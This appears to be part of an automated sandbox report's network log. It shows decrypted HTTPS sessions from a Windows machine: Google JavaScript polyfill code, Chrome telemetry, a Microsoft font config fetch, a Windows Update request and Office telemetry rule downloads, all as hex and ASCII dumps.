2024-10-28 07:17:25 UTC	1378	IN	Data Raw: 61 72 20 62 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 73 Data Ascii: ar b=typeof Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.as
2024-10-28 07:17:25 UTC	1378	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 74 Data Ascii: function(h){this.Fa=0;this.wf=void 0;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),reject
2024-10-28 07:17:25 UTC	1378	IN	Data Raw: 70 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e 63 Data Ascii: promise=this;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=func
2024-10-28 07:17:25 UTC	1378	IN	Data Raw: 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f Data Ascii: or("First argument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));fo
2024-10-28 07:17:25 UTC	1378	IN	Data Raw: 72 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 74 Data Ascii: r h=0,k=function(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return t
2024-10-28 07:17:25 UTC	1378	IN	Data Raw: 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 73 Data Ascii: e=function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();this
2024-10-28 07:17:25 UTC	1378	IN	Data Raw: 70 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 72 Data Ascii: pe.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)r
2024-10-28 07:17:25 UTC	1378	IN	Data Raw: 2b 39 32 31 36 7d 7d 7d 29 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 64 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 Data Ascii: +9216}}});na("String.fromCodePoint",function(a){return a?a:function(b){for(var c="",d=0;d<arguments.length;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49753	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:17:25 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-28 07:17:25 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=193043 Date: Mon, 28 Oct 2024 07:17:25 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49756	216.58.206.46	443	1220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:17:25 UTC	726	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 913 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-28 07:17:25 UTC	913	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 30 30 39 39 38 34 32 37 32 31 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1730099842721",null,null,null,
2024-10-28 07:17:25 UTC	936	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=518=n_t8VDNHrKwwn-aOVhaP7ZoaItbrjSVKkXFmv6_LorjAOeNQipGAdZxjC1a6RvulwSHjWtEfC5v0i0RykTf3M-mCna8fxyHUe-Ht4pvHRDf3plTHEkKTGjh0Q2sYCJW4RHce7bVX127xD-0Chcxkkf89VTGTm4xBWaNgNaP58NnbTMO8-A; expires=Tue, 29-Apr-2025 07:17:25 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Mon, 28 Oct 2024 07:17:25 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Mon, 28 Oct 2024 07:17:25 GMT Connection: close Transfer-Encoding: chunked
2024-10-28 07:17:25 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-10-28 07:17:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49755	20.109.210.53	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:17:26 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=3vgBxchoLdYxxGK&MD=v3rGdgTa HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-28 07:17:26 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: d64e9d20-38dd-4c39-9b13-cc5b711587df MS-RequestId: e13ba1be-1d39-4849-a6fd-6d87c215143a MS-CV: E3Wt98wtVUadYlr+.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 28 Oct 2024 07:17:25 GMT Connection: close Content-Length: 24490
2024-10-28 07:17:26 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-28 07:17:26 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49761	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:17:26 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-28 07:17:26 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=193096 Date: Mon, 28 Oct 2024 07:17:26 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-28 07:17:26 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.4	49769	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:03 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:03 UTC	540	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:03 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Fri, 25 Oct 2024 17:15:22 GMT ETag: "0x8DCF5189BF6C373" x-ms-request-id: abeba80a-d01e-002b-6625-2725fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071803Z-17c5cb586f6zrq5bnguxgu7frc00000005e000000000579s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:03 UTC	15844	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-10-28 07:18:03 UTC	16384	IN	Data Raw: 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e Data Ascii: "0" /> </L> <R> <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" />
2024-10-28 07:18:03 UTC	16384	IN	Data Raw: 20 20 3c 53 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 53 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 Data Ascii: <ST> <S T="1" /> </ST></R><$!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-781
